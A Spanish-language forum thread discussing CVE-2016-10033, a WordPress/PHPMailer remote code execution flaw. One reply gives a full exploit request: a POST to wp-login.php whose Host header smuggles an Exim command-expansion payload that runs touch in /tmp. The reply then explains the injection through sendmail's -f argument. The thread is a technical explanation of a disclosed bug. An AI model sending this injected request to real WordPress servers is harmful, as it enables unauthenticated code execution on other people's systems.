CVE-2016-10033 WordPress Core - Unauthenticated Remote Code Execution

Iniciado por MCKSys Argentina, 4 Mayo 2017, 00:42 AM

0 Miembros y 1 Visitante están viendo este tema.

MCKSys Argentina

Dawid Golunski (@dawid_golunski) explica cómo explotar la última vulnerabilidad que ha encontrado en Wordpress (la vulnerabilidad está en PHPMailer).

Usa técnicas nuevas para la explotación, por lo cual es muy recomendable de leer.

El post: https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html

Saludos!
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."


sirdarckcat

El resumen es que si envias esta peticion:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}  tmp2)
Content-Type: application/x-www-form-urlencoded
Content-Length: 56


user_login=admin&redirect_to=&wp-submit=Get+New+Password


Ejecutas /usr/bin/touch en /tmp/test, el bug es que el codigo de wordpress usa:
Código (php-brief) [Seleccionar]
$phpmailer->setFrom( $from_email, $from_name );

Y como es implementado, ese comando se convierte en:
Código (bash) [Seleccionar]
/usr/sbin/sendmail -t -i -fREMITENTE

Donde REMITENTE proviene del valor del valor de la cabecera Host, como nosotros controlamos la cabezera Host, solo debemos poner algo ahi y podemos controlar que escriba cualquier cosa.

La vulnerabilidad despues se convierte en ejecucion de codigo por medio de EXIM MTA http://www.exim.org/ , que es el servidor de correo instalado por default en Debian y Ubuntu.

Este tiene una opcion que se llama "Expansion Testing Mode", o modo de expansión de prueba, que puede ser usado para que EXIM lea y ejecute comandos en un lenguage propietario. Uno de los comandos es run.

Cuando haces:
${run{/bin/true}{yes}{no}}

Ejecuta /bin/true.. Facil

El motivo por el cual el exploit es mas complicado es porque la cabecera de Host no permite diagonales ni espacios, por lo que Dawid uso diagnoales y espacios en otras variables disponibles en el ambiente de EXIM.